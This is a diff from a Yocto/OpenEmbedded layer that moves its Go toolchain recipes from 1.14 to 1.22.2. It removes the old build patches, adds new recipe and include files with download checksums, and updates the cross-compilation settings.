-+ a.Package.StaleReason = "GOROOT-resident package"
-+ return nil
-+ }
-+ a.Package.Stale = true
-+ a.Package.StaleReason = "missing or invalid GOROOT-resident package"
-+ if b.IsCmdList {
-+ return nil
-+ }
-+ }
-+
- if err := b.Mkdir(a.Objdir); err != nil {
- return err
- }
-@@ -1493,6 +1510,14 @@ func BuildInstallFunc(b *Builder, a *Act
- return nil
- }
-
-+ if goRootPrecious && a.Package != nil {
-+ p := a.Package
-+ if p.Standard || p.Goroot {
-+ err := fmt.Errorf("attempting to install package %s into read-only GOROOT", p.ImportPath)
-+ return err
-+ }
-+ }
-+
- if err := b.Mkdir(a.Objdir); err != nil {
- return err
- }
diff --git a/meta/recipes-devtools/go/go-1.14/0008-use-GOBUILDMODE-to-set-buildmode.patch b/meta/recipes-devtools/go/go-1.14/0008-use-GOBUILDMODE-to-set-buildmode.patch
deleted file mode 100644
index b15d9812aa..0000000000
--- a/meta/recipes-devtools/go/go-1.14/0008-use-GOBUILDMODE-to-set-buildmode.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 971b5626339ce0c4d57f9721c9a81af566c5a044 Mon Sep 17 00:00:00 2001
-From: Alex Kube <alexander.j.kube@gmail.com>
-Date: Wed, 23 Oct 2019 21:19:26 +0430
-Subject: [PATCH 8/9] cmd/go: Use GOBUILDMODE to set buildmode
-
-Upstream-Status: Denied [upstream choose antoher solution: `17a256b
-cmd/go: -buildmode=pie for android/arm']
-
-While building go itself, the go build system does not support
-to set `-buildmode=pie' from environment.
-
-Add GOBUILDMODE to support it which make PIE executables the default
-build mode, as PIE executables are required as of Yocto
-
-Refers: https://groups.google.com/forum/#!topic/golang-dev/gRCe5URKewI
-
-Adapted to Go 1.13 from patches originally submitted to
-the meta/recipes-devtools/go tree by
-Hongxu Jia <hongxu.jia@windriver.com>
-
-Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
----
- src/cmd/go/internal/work/build.go | 8 +++++++-
- 1 file changed, 7 insertions(+), 1 deletion(-)
-
---- a/src/cmd/go/internal/work/build.go
-+++ b/src/cmd/go/internal/work/build.go
-@@ -251,7 +251,13 @@ func AddBuildFlags(cmd *base.Command, ma
-
- cmd.Flag.Var(&load.BuildAsmflags, "asmflags", "")
- cmd.Flag.Var(buildCompiler{}, "compiler", "")
-- cmd.Flag.StringVar(&cfg.BuildBuildmode, "buildmode", "default", "")
-+
-+ if bm := os.Getenv("GOBUILDMODE"); bm != "" {
-+ cmd.Flag.StringVar(&cfg.BuildBuildmode, "buildmode", bm, "")
-+ } else {
-+ cmd.Flag.StringVar(&cfg.BuildBuildmode, "buildmode", "default", "")
-+ }
-+
- cmd.Flag.Var(&load.BuildGcflags, "gcflags", "")
- cmd.Flag.Var(&load.BuildGccgoflags, "gccgoflags", "")
- if mask&OmitModFlag == 0 {
diff --git a/meta/recipes-devtools/go/go-1.14/0009-ld-replace-glibc-dynamic-linker-with-musl.patch b/meta/recipes-devtools/go/go-1.14/0009-ld-replace-glibc-dynamic-linker-with-musl.patch
deleted file mode 100644
index 427cfb0dd2..0000000000
--- a/meta/recipes-devtools/go/go-1.14/0009-ld-replace-glibc-dynamic-linker-with-musl.patch
+++ /dev/null
@@ -1,115 +0,0 @@
-From 973251ae0c69a35721f6115345d3f57b2847979f Mon Sep 17 00:00:00 2001
-From: Alex Kube <alexander.j.kube@gmail.com>
-Date: Wed, 23 Oct 2019 21:20:13 +0430
-Subject: [PATCH 9/9] ld: replace glibc dynamic linker with musl
-
-Rework of patch by Khem Raj <raj.khem@gmail.com>
-for go 1.10. Should be applied conditionally on
-musl being the system C library.
-
-Adapted to Go 1.13 from patches originally submitted to
-the meta/recipes-devtools/go tree by
-Matt Madison <matt@madison.systems>.
-
-Upstream-Status: Inappropriate [Real fix should be portable across libcs]
-
-Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
----
- src/cmd/link/internal/amd64/obj.go | 2 +-
- src/cmd/link/internal/arm/obj.go | 2 +-
- src/cmd/link/internal/arm64/obj.go | 2 +-
- src/cmd/link/internal/mips/obj.go | 2 +-
- src/cmd/link/internal/mips64/obj.go | 2 +-
- src/cmd/link/internal/ppc64/obj.go | 2 +-
- src/cmd/link/internal/s390x/obj.go | 2 +-
- src/cmd/link/internal/x86/obj.go | 2 +-
- 8 files changed, 8 insertions(+), 8 deletions(-)
-
---- a/src/cmd/link/internal/amd64/obj.go
-+++ b/src/cmd/link/internal/amd64/obj.go
-@@ -59,7 +59,7 @@ func Init() (*sys.Arch, ld.Arch) {
- PEreloc1: pereloc1,
- TLSIEtoLE: tlsIEtoLE,
-
-- Linuxdynld: "/lib64/ld-linux-x86-64.so.2",
-+ Linuxdynld: "/lib64/ld-musl-x86-64.so.1",
- Freebsddynld: "/libexec/ld-elf.so.1",
- Openbsddynld: "/usr/libexec/ld.so",
- Netbsddynld: "/libexec/ld.elf_so",
---- a/src/cmd/link/internal/arm/obj.go
-+++ b/src/cmd/link/internal/arm/obj.go
-@@ -59,7 +59,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Machoreloc1: machoreloc1,
- PEreloc1: pereloc1,
-
-- Linuxdynld: "/lib/ld-linux.so.3", // 2 for OABI, 3 for EABI
-+ Linuxdynld: "/lib/ld-musl-armhf.so.1",
- Freebsddynld: "/usr/libexec/ld-elf.so.1",
- Openbsddynld: "/usr/libexec/ld.so",
- Netbsddynld: "/libexec/ld.elf_so",
---- a/src/cmd/link/internal/arm64/obj.go
-+++ b/src/cmd/link/internal/arm64/obj.go
-@@ -57,7 +57,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Gentext: gentext,
- Machoreloc1: machoreloc1,
-
-- Linuxdynld: "/lib/ld-linux-aarch64.so.1",
-+ Linuxdynld: "/lib/ld-musl-aarch64.so.1",
-
- Freebsddynld: "/usr/libexec/ld-elf.so.1",
- Openbsddynld: "/usr/libexec/ld.so",
---- a/src/cmd/link/internal/mips/obj.go
-+++ b/src/cmd/link/internal/mips/obj.go
-@@ -60,7 +60,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Gentext: gentext,
- Machoreloc1: machoreloc1,
-
-- Linuxdynld: "/lib/ld.so.1",
-+ Linuxdynld: "/lib/ld-musl-mipsle.so.1",
-
- Freebsddynld: "XXX",
- Openbsddynld: "XXX",
---- a/src/cmd/link/internal/mips64/obj.go
-+++ b/src/cmd/link/internal/mips64/obj.go
-@@ -59,7 +59,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Gentext: gentext,
- Machoreloc1: machoreloc1,
-
-- Linuxdynld: "/lib64/ld64.so.1",
-+ Linuxdynld: "/lib64/ld-musl-mips64le.so.1",
- Freebsddynld: "XXX",
- Openbsddynld: "XXX",
- Netbsddynld: "XXX",
---- a/src/cmd/link/internal/ppc64/obj.go
-+++ b/src/cmd/link/internal/ppc64/obj.go
-@@ -63,7 +63,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Xcoffreloc1: xcoffreloc1,
-
- // TODO(austin): ABI v1 uses /usr/lib/ld.so.1,
-- Linuxdynld: "/lib64/ld64.so.1",
-+ Linuxdynld: "/lib64/ld-musl-powerpc64le.so.1",
-
- Freebsddynld: "XXX",
- Openbsddynld: "XXX",
---- a/src/cmd/link/internal/s390x/obj.go
-+++ b/src/cmd/link/internal/s390x/obj.go
-@@ -57,7 +57,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Gentext: gentext,
- Machoreloc1: machoreloc1,
-
-- Linuxdynld: "/lib64/ld64.so.1",
-+ Linuxdynld: "/lib64/ld-musl-s390x.so.1",
-
- // not relevant for s390x
- Freebsddynld: "XXX",
---- a/src/cmd/link/internal/x86/obj.go
-+++ b/src/cmd/link/internal/x86/obj.go
-@@ -58,7 +58,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Machoreloc1: machoreloc1,
- PEreloc1: pereloc1,
-
-- Linuxdynld: "/lib/ld-linux.so.2",
-+ Linuxdynld: "/lib/ld-musl-i386.so.1",
- Freebsddynld: "/usr/libexec/ld-elf.so.1",
- Openbsddynld: "/usr/libexec/ld.so",
- Netbsddynld: "/usr/libexec/ld.elf_so",
diff --git a/meta/recipes-devtools/go/go-1.22.2.inc b/meta/recipes-devtools/go/go-1.22.2.inc
new file mode 100644
index 0000000000..b399207311
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.22.2.inc
@@ -0,0 +1,18 @@
+require go-common.inc
+
+FILESEXTRAPATHS:prepend := "${FILE_DIRNAME}/go:"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
+
+SRC_URI += "\
+ file://0001-cmd-go-make-content-based-hash-generation-less-pedan.patch \
+ file://0002-cmd-go-Allow-GOTOOLDIR-to-be-overridden-in-the-envir.patch \
+ file://0003-ld-add-soname-to-shareable-objects.patch \
+ file://0004-make.bash-override-CC-when-building-dist-and-go_boot.patch \
+ file://0005-cmd-dist-separate-host-and-target-builds.patch \
+ file://0006-cmd-go-make-GOROOT-precious-by-default.patch \
+ file://0007-exec.go-filter-out-build-specific-paths-from-linker-.patch \
+ file://0008-src-cmd-dist-buildgo.go-do-not-hardcode-host-compile.patch \
+ file://0009-go-Filter-build-paths-on-staticly-linked-arches.patch \
+"
+SRC_URI[main.sha256sum] = "374ea82b289ec738e968267cac59c7d5ff180f9492250254784b2044e90df5a9"
diff --git a/meta/recipes-devtools/go/go-binary-native_1.14.6.bb b/meta/recipes-devtools/go/go-binary-native_1.14.6.bb
deleted file mode 100644
index 694c597a72..0000000000
--- a/meta/recipes-devtools/go/go-binary-native_1.14.6.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-# This recipe is for bootstrapping our go-cross from a prebuilt binary of Go from golang.org.
-
-SUMMARY = "Go programming language compiler (upstream binary for bootstrap)"
-HOMEPAGE = " http://golang.org/"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
-
-PROVIDES = "go-native"
-
-SRC_URI = "https://dl.google.com/go/go${PV}.${BUILD_GOOS}-${BUILD_GOARCH}.tar.gz;name=go_${BUILD_GOTUPLE}"
-SRC_URI[go_linux_amd64.sha256sum] = "5c566ddc2e0bcfc25c26a5dc44a440fcc0177f7350c1f01952b34d5989a0d287"
-SRC_URI[go_linux_arm64.sha256sum] = "291bccfd7d7f1915599bbcc90e49d9fccfcb0004b7c62a2f5cdf0f96a09d6a3e"
-
-UPSTREAM_CHECK_URI = "https://golang.org/dl/"
-UPSTREAM_CHECK_REGEX = "go(?P<pver>\d+(\.\d+)+)\.linux"
-
-S = "${WORKDIR}/go"
-
-inherit goarch native
-
-do_compile() {
- :
-}
-
-make_wrapper() {
- rm -f ${D}${bindir}/$1
- cat <<END >${D}${bindir}/$1
-#!/bin/bash
-here=\`dirname \$0\`
-export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
-\$here/../lib/go/bin/$1 "\$@"
-END
- chmod +x ${D}${bindir}/$1
-}
-
-do_install() {
- find ${S} -depth -type d -name testdata -exec rm -rf {} +
-
- install -d ${D}${bindir} ${D}${libdir}/go
- cp --preserve=mode,timestamps -R ${S}/ ${D}${libdir}/
-
- for f in ${S}/bin/*
- do
- make_wrapper `basename $f`
- done
-}
diff --git a/meta/recipes-devtools/go/go-binary-native_1.22.2.bb b/meta/recipes-devtools/go/go-binary-native_1.22.2.bb
new file mode 100644
index 0000000000..0f00509f03
--- /dev/null
+++ b/meta/recipes-devtools/go/go-binary-native_1.22.2.bb
@@ -0,0 +1,50 @@
+# This recipe is for bootstrapping our go-cross from a prebuilt binary of Go from golang.org.
+
+SUMMARY = "Go programming language compiler (upstream binary for bootstrap)"
+HOMEPAGE = " http://golang.org/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
+
+PROVIDES = "go-native"
+
+# Checksums available at https://go.dev/dl/
+SRC_URI = "https://dl.google.com/go/go${PV}.${BUILD_GOOS}-${BUILD_GOARCH}.tar.gz;name=go_${BUILD_GOTUPLE}"
+SRC_URI[go_linux_amd64.sha256sum] = "5901c52b7a78002aeff14a21f93e0f064f74ce1360fce51c6ee68cd471216a17"
+SRC_URI[go_linux_arm64.sha256sum] = "36e720b2d564980c162a48c7e97da2e407dfcc4239e1e58d98082dfa2486a0c1"
+SRC_URI[go_linux_ppc64le.sha256sum] = "251a8886c5113be6490bdbb955ddee98763b49c9b1bf4c8364c02d3b482dab00"
+
+UPSTREAM_CHECK_URI = "https://golang.org/dl/"
+UPSTREAM_CHECK_REGEX = "go(?P<pver>\d+(\.\d+)+)\.linux"
+
+CVE_PRODUCT = "golang:go"
+
+S = "${WORKDIR}/go"
+
+inherit goarch native
+
+do_compile() {
+ :
+}
+
+make_wrapper() {
+ rm -f ${D}${bindir}/$1
+ cat <<END >${D}${bindir}/$1
+#!/bin/bash
+here=\`dirname \$0\`
+export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
+\$here/../lib/go/bin/$1 "\$@"
+END
+ chmod +x ${D}${bindir}/$1
+}
+
+do_install() {
+ find ${S} -depth -type d -name testdata -exec rm -rf {} +
+
+ install -d ${D}${bindir} ${D}${libdir}/go
+ cp --preserve=mode,timestamps -R ${S}/ ${D}${libdir}/
+
+ for f in ${S}/bin/*
+ do
+ make_wrapper `basename $f`
+ done
+}
diff --git a/meta/recipes-devtools/go/go-common.inc b/meta/recipes-devtools/go/go-common.inc
index f18d928c70..db165792dc 100644
--- a/meta/recipes-devtools/go/go-common.inc
+++ b/meta/recipes-devtools/go/go-common.inc
@@ -14,16 +14,19 @@ LICENSE = "BSD-3-Clause"
inherit goarch
-SRC_URI = "http://golang.org/dl/go${PV}.src.tar.gz;name=main"
+SRC_URI = "https://golang.org/dl/go${PV}.src.tar.gz;name=main"
S = "${WORKDIR}/go"
B = "${S}"
UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.src\.tar"
+# all recipe variants are created from the same product
+CVE_PRODUCT = "golang:go"
+
INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
SSTATE_SCAN_CMD = "true"
export GOROOT_OVERRIDE = "1"
-export GOTMPDIR ?= "${WORKDIR}/go-tmp"
+export GOTMPDIR ?= "${WORKDIR}/build-tmp"
GOTMPDIR[vardepvalue] = ""
export CGO_ENABLED = "1"
@@ -37,6 +40,8 @@ export GO386 ?= "${TARGET_GO386}"
export GOMIPS ?= "${TARGET_GOMIPS}"
export GOROOT_FINAL ?= "${libdir}/go"
-do_compile_prepend() {
+export GODEBUG = "gocachehash=1"
+
+do_compile:prepend() {
BUILD_CC=${BUILD_CC}
}
diff --git a/meta/recipes-devtools/go/go-cross-canadian.inc b/meta/recipes-devtools/go/go-cross-canadian.inc
index d49250a8e2..dd485b6799 100644
--- a/meta/recipes-devtools/go/go-cross-canadian.inc
+++ b/meta/recipes-devtools/go/go-cross-canadian.inc
@@ -1,14 +1,14 @@
inherit cross-canadian
-DEPENDS = "go-native virtual/${HOST_PREFIX}go-crosssdk virtual/nativesdk-${HOST_PREFIX}go-runtime \
- virtual/${HOST_PREFIX}gcc-crosssdk virtual/nativesdk-libc \
+DEPENDS = "go-native virtual/${HOST_PREFIX}go virtual/nativesdk-${HOST_PREFIX}go-runtime \
+ virtual/${HOST_PREFIX}gcc virtual/nativesdk-libc \
virtual/nativesdk-${HOST_PREFIX}compilerlibs"
PN = "go-cross-canadian-${TRANSLATED_TARGET_ARCH}"
# it uses gcc on build machine during go-cross-canadian bootstrap, but
# the gcc version may be old and not support option '-fmacro-prefix-map'
# which is one of default values of DEBUG_PREFIX_MAP
-DEBUG_PREFIX_MAP = "-fdebug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} \
+DEBUG_PREFIX_MAP = "-fdebug-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR} \
-fdebug-prefix-map=${STAGING_DIR_HOST}= \
-fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
"
@@ -16,18 +16,17 @@ DEBUG_PREFIX_MAP = "-fdebug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDP
export GOTOOLDIR_BOOTSTRAP = "${STAGING_LIBDIR_NATIVE}/${HOST_SYS}/go/pkg/tool/${BUILD_GOTUPLE}"
export CGO_CFLAGS = "${CFLAGS}"
export CGO_LDFLAGS = "${LDFLAGS}"
-export GO_LDFLAGS = '-linkmode external -extld ${HOST_PREFIX}gcc -extldflags "--sysroot=${STAGING_DIR_HOST} ${SECURITY_NOPIE_CFLAGS} ${HOST_CC_ARCH} ${LDFLAGS}"'
+export GO_LDFLAGS = '-extld ${HOST_PREFIX}gcc -extldflags "--sysroot=${STAGING_DIR_HOST} ${SECURITY_NOPIE_CFLAGS} ${HOST_CC_ARCH} ${LDFLAGS}"'
do_configure[noexec] = "1"
do_compile() {
- export CC_FOR_${HOST_GOTUPLE}="${HOST_PREFIX}gcc --sysroot=${STAGING_DIR_HOST}${SDKPATHNATIVE} ${SECURITY_NOPIE_CFLAGS}"
- export CXX_FOR_${HOST_GOTUPLE}="${HOST_PREFIX}gxx --sysroot=${STAGING_DIR_HOST}${SDKPATHNATIVE} ${SECURITY_NOPIE_CFLAGS}"
+ export CC_FOR_${HOST_GOTUPLE}="${HOST_PREFIX}gcc --sysroot=${STAGING_DIR_HOST} ${SECURITY_NOPIE_CFLAGS}"
+ export CXX_FOR_${HOST_GOTUPLE}="${HOST_PREFIX}gxx --sysroot=${STAGING_DIR_HOST} ${SECURITY_NOPIE_CFLAGS}"
cd src
- ./make.bash --host-only --no-banner
+ ./make.bash --target-only --no-banner
cd ${B}
}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin ${B}/pkg"
diff --git a/meta/recipes-devtools/go/go-cross-canadian_1.14.bb b/meta/recipes-devtools/go/go-cross-canadian_1.22.2.bb
index 7ac9449e47..7ac9449e47 100644
--- a/meta/recipes-devtools/go/go-cross-canadian_1.14.bb
+++ b/meta/recipes-devtools/go/go-cross-canadian_1.22.2.bb
diff --git a/meta/recipes-devtools/go/go-cross.inc b/meta/recipes-devtools/go/go-cross.inc
index 3d5803bf07..a0fbdbe3b9 100644
--- a/meta/recipes-devtools/go/go-cross.inc
+++ b/meta/recipes-devtools/go/go-cross.inc
@@ -17,7 +17,6 @@ do_compile() {
./make.bash --host-only --no-banner
cd ${B}
}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin ${B}/pkg"
make_wrapper() {
diff --git a/meta/recipes-devtools/go/go-cross_1.14.bb b/meta/recipes-devtools/go/go-cross_1.22.2.bb
index 80b5a03f6c..80b5a03f6c 100644
--- a/meta/recipes-devtools/go/go-cross_1.14.bb
+++ b/meta/recipes-devtools/go/go-cross_1.22.2.bb
diff --git a/meta/recipes-devtools/go/go-crosssdk.inc b/meta/recipes-devtools/go/go-crosssdk.inc
index f0bec79719..12939005c0 100644
--- a/meta/recipes-devtools/go/go-crosssdk.inc
+++ b/meta/recipes-devtools/go/go-crosssdk.inc
@@ -1,8 +1,10 @@
inherit crosssdk
-DEPENDS = "go-native virtual/${TARGET_PREFIX}gcc-crosssdk virtual/nativesdk-${TARGET_PREFIX}compilerlibs virtual/${TARGET_PREFIX}binutils-crosssdk"
+DEPENDS = "go-native virtual/${TARGET_PREFIX}gcc virtual/nativesdk-${TARGET_PREFIX}compilerlibs virtual/${TARGET_PREFIX}binutils"
PN = "go-crosssdk-${SDK_SYS}"
-PROVIDES = "virtual/${TARGET_PREFIX}go-crosssdk"
+PROVIDES = "virtual/${TARGET_PREFIX}go"
+
+export GOCACHE = "${B}/.cache"
do_configure[noexec] = "1"
@@ -13,7 +15,6 @@ do_compile() {
./make.bash --host-only --no-banner
cd ${B}
}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin ${B}/pkg"
make_wrapper() {
diff --git a/meta/recipes-devtools/go/go-crosssdk_1.14.bb b/meta/recipes-devtools/go/go-crosssdk_1.22.2.bb
index 1857c8a577..1857c8a577 100644
--- a/meta/recipes-devtools/go/go-crosssdk_1.14.bb
+++ b/meta/recipes-devtools/go/go-crosssdk_1.22.2.bb
diff --git a/meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch b/meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch
deleted file mode 100644
index 34ec9876f8..0000000000
--- a/meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From f0fb80604385ae3266a472601ef685896b4cc0af Mon Sep 17 00:00:00 2001
-From: Vladimir Stefanovic <vladimir.stefanovic@imgtec.com>
-Date: Fri, 17 Feb 2017 20:44:43 +0100
-Subject: [PATCH] Add support for mips, mips64
-
----
-Upstream-Status: Submitted
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
- vendor/github.com/boltdb/bolt/bolt_mips64x.go | 12 ++++++++++++
- vendor/github.com/boltdb/bolt/bolt_mipsx.go | 12 ++++++++++++
- 2 files changed, 24 insertions(+)
- create mode 100644 vendor/github.com/boltdb/bolt/bolt_mips64x.go
- create mode 100644 vendor/github.com/boltdb/bolt/bolt_mipsx.go
-
-diff --git a/vendor/github.com/boltdb/bolt/bolt_mips64x.go b/vendor/github.com/boltdb/bolt/bolt_mips64x.go
-new file mode 100644
-index 00000000..134b578b
---- /dev/null
-+++ b/vendor/github.com/boltdb/bolt/bolt_mips64x.go
-@@ -0,0 +1,12 @@
-+// +build mips64 mips64le
-+
-+package bolt
-+
-+// maxMapSize represents the largest mmap size supported by Bolt.
-+const maxMapSize = 0x8000000000 // 512GB
-+
-+// maxAllocSize is the size used when creating array pointers.
-+const maxAllocSize = 0x7FFFFFFF
-+
-+// Are unaligned load/stores broken on this arch?
-+var brokenUnaligned = false
-diff --git a/vendor/github.com/boltdb/bolt/bolt_mipsx.go b/vendor/github.com/boltdb/bolt/bolt_mipsx.go
-new file mode 100644
-index 00000000..d5ecb059
---- /dev/null
-+++ b/vendor/github.com/boltdb/bolt/bolt_mipsx.go
-@@ -0,0 +1,12 @@
-+// +build mips mipsle
-+
-+package bolt
-+
-+// maxMapSize represents the largest mmap size supported by Bolt.
-+const maxMapSize = 0x40000000 // 1GB
-+
-+// maxAllocSize is the size used when creating array pointers.
-+const maxAllocSize = 0xFFFFFFF
-+
-+// Are unaligned load/stores broken on this arch?
-+var brokenUnaligned = false
---
-2.14.1
-
diff --git a/meta/recipes-devtools/go/go-dep/0001-Update-sys-module-to-latest.patch b/meta/recipes-devtools/go/go-dep/0001-Update-sys-module-to-latest.patch
deleted file mode 100644
index b13bb9e665..0000000000
--- a/meta/recipes-devtools/go/go-dep/0001-Update-sys-module-to-latest.patch
+++ /dev/null
@@ -1,145574 +0,0 @@
-From f7904cb91a1b18e893ffbd25b450926d145d0e0a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 22 Apr 2020 18:44:48 -0700
-Subject: [PATCH] Update sys module to latest
-
-Gets us riscv support
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Gopkg.lock | 4 +-
- .../golang.org/x/sys/unix/affinity_linux.go | 86 +
- vendor/golang.org/x/sys/unix/aliases.go | 14 +
- vendor/golang.org/x/sys/unix/asm_aix_ppc64.s | 17 +
- .../x/sys/unix/asm_dragonfly_amd64.s | 10 +-
- ...sm_linux_mips64x.s => asm_freebsd_arm64.s} | 11 +-
- vendor/golang.org/x/sys/unix/asm_linux_386.s | 36 +-
- .../golang.org/x/sys/unix/asm_linux_amd64.s | 30 +-
- vendor/golang.org/x/sys/unix/asm_linux_arm.s | 35 +-
- .../golang.org/x/sys/unix/asm_linux_arm64.s | 30 +-
- .../golang.org/x/sys/unix/asm_linux_mips64x.s | 36 +-
- .../golang.org/x/sys/unix/asm_linux_mipsx.s | 33 +-
- .../golang.org/x/sys/unix/asm_linux_ppc64x.s | 38 +-
- .../golang.org/x/sys/unix/asm_linux_riscv64.s | 47 +
- .../golang.org/x/sys/unix/asm_linux_s390x.s | 28 +
- ...asm_linux_mips64x.s => asm_netbsd_arm64.s} | 17 +-
- ...sm_linux_mips64x.s => asm_openbsd_arm64.s} | 9 +-
- .../golang.org/x/sys/unix/bluetooth_linux.go | 1 +
- vendor/golang.org/x/sys/unix/cap_freebsd.go | 30 +-
- vendor/golang.org/x/sys/unix/constants.go | 2 +-
- vendor/golang.org/x/sys/unix/dev_aix_ppc.go | 27 +
- vendor/golang.org/x/sys/unix/dev_aix_ppc64.go | 29 +
- vendor/golang.org/x/sys/unix/dev_darwin.go | 24 +
- vendor/golang.org/x/sys/unix/dev_dragonfly.go | 30 +
- vendor/golang.org/x/sys/unix/dev_freebsd.go | 30 +
- vendor/golang.org/x/sys/unix/dev_linux.go | 8 +-
- vendor/golang.org/x/sys/unix/dev_netbsd.go | 29 +
- vendor/golang.org/x/sys/unix/dev_openbsd.go | 29 +
- vendor/golang.org/x/sys/unix/dirent.go | 2 +-
- vendor/golang.org/x/sys/unix/endian_little.go | 2 +-
- vendor/golang.org/x/sys/unix/env_unix.go | 8 +-
- vendor/golang.org/x/sys/unix/env_unset.go | 14 -
- .../x/sys/unix/errors_freebsd_386.go | 6 +
- .../x/sys/unix/errors_freebsd_amd64.go | 6 +
- .../x/sys/unix/errors_freebsd_arm64.go | 17 +
- .../x/sys/unix/{flock.go => fcntl.go} | 18 +-
- vendor/golang.org/x/sys/unix/fcntl_darwin.go | 18 +
- ...ck_linux_32bit.go => fcntl_linux_32bit.go} | 0
- vendor/golang.org/x/sys/unix/fdset.go | 29 +
- vendor/golang.org/x/sys/unix/file_unix.go | 27 -
- vendor/golang.org/x/sys/unix/gccgo.go | 20 +-
- vendor/golang.org/x/sys/unix/gccgo_c.c | 12 +-
- .../x/sys/unix/gccgo_linux_amd64.go | 2 +-
- .../x/sys/unix/gccgo_linux_sparc64.go | 20 -
- vendor/golang.org/x/sys/unix/ioctl.go | 65 +
- vendor/golang.org/x/sys/unix/mkasm_darwin.go | 78 +
- vendor/golang.org/x/sys/unix/mkmerge.go | 521 +++
- vendor/golang.org/x/sys/unix/mkpost.go | 63 +-
- vendor/golang.org/x/sys/unix/mksyscall.go | 402 +++
- .../x/sys/unix/mksyscall_aix_ppc.go | 415 +++
- .../x/sys/unix/mksyscall_aix_ppc64.go | 614 ++++
- .../x/sys/unix/mksyscall_solaris.go | 341 ++
- .../golang.org/x/sys/unix/mksysctl_openbsd.go | 355 +++
- vendor/golang.org/x/sys/unix/mksysnum.go | 190 ++
- .../golang.org/x/sys/unix/openbsd_pledge.go | 38 -
- vendor/golang.org/x/sys/unix/pagesize_unix.go | 15 +
- .../golang.org/x/sys/unix/pledge_openbsd.go | 163 +
- vendor/golang.org/x/sys/unix/race.go | 2 +-
- vendor/golang.org/x/sys/unix/race0.go | 4 +-
- .../x/sys/unix/readdirent_getdents.go | 12 +
- .../x/sys/unix/readdirent_getdirentries.go | 19 +
- .../x/sys/unix/sockcmsg_dragonfly.go | 16 +
- .../golang.org/x/sys/unix/sockcmsg_linux.go | 4 +-
- vendor/golang.org/x/sys/unix/sockcmsg_unix.go | 28 +-
- .../x/sys/unix/sockcmsg_unix_other.go | 38 +
- vendor/golang.org/x/sys/unix/str.go | 2 +-
- vendor/golang.org/x/sys/unix/syscall.go | 38 +-
- vendor/golang.org/x/sys/unix/syscall_aix.go | 536 ++++
- .../golang.org/x/sys/unix/syscall_aix_ppc.go | 54 +
- .../x/sys/unix/syscall_aix_ppc64.go | 85 +
- vendor/golang.org/x/sys/unix/syscall_bsd.go | 112 +-
- .../x/sys/unix/syscall_darwin.1_12.go | 29 +
- .../x/sys/unix/syscall_darwin.1_13.go | 101 +
- .../golang.org/x/sys/unix/syscall_darwin.go | 263 +-
- .../x/sys/unix/syscall_darwin_386.1_11.go | 9 +
- .../x/sys/unix/syscall_darwin_386.go | 45 +-
- .../x/sys/unix/syscall_darwin_amd64.1_11.go | 9 +
- .../x/sys/unix/syscall_darwin_amd64.go | 45 +-
- .../x/sys/unix/syscall_darwin_arm.1_11.go | 11 +
- .../x/sys/unix/syscall_darwin_arm.go | 51 +-
- .../x/sys/unix/syscall_darwin_arm64.1_11.go | 11 +
- .../x/sys/unix/syscall_darwin_arm64.go | 47 +-
- .../x/sys/unix/syscall_darwin_libSystem.go | 33 +
- .../x/sys/unix/syscall_dragonfly.go | 136 +-
- .../x/sys/unix/syscall_dragonfly_amd64.go | 21 +-
- .../golang.org/x/sys/unix/syscall_freebsd.go | 592 ++--
- .../x/sys/unix/syscall_freebsd_386.go | 31 +-
- .../x/sys/unix/syscall_freebsd_amd64.go | 31 +-
- .../x/sys/unix/syscall_freebsd_arm.go | 27 +-
- ...nfly_amd64.go => syscall_freebsd_arm64.go} | 31 +-
- .../golang.org/x/sys/unix/syscall_illumos.go | 57 +
- vendor/golang.org/x/sys/unix/syscall_linux.go | 1030 +++++-
- .../x/sys/unix/syscall_linux_386.go | 47 +-
- .../x/sys/unix/syscall_linux_amd64.go | 80 +-
- .../x/sys/unix/syscall_linux_arm.go | 64 +-
- .../x/sys/unix/syscall_linux_arm64.go | 111 +-
- .../golang.org/x/sys/unix/syscall_linux_gc.go | 14 +
- .../x/sys/unix/syscall_linux_gc_386.go | 16 +
- .../x/sys/unix/syscall_linux_gccgo_386.go | 30 +
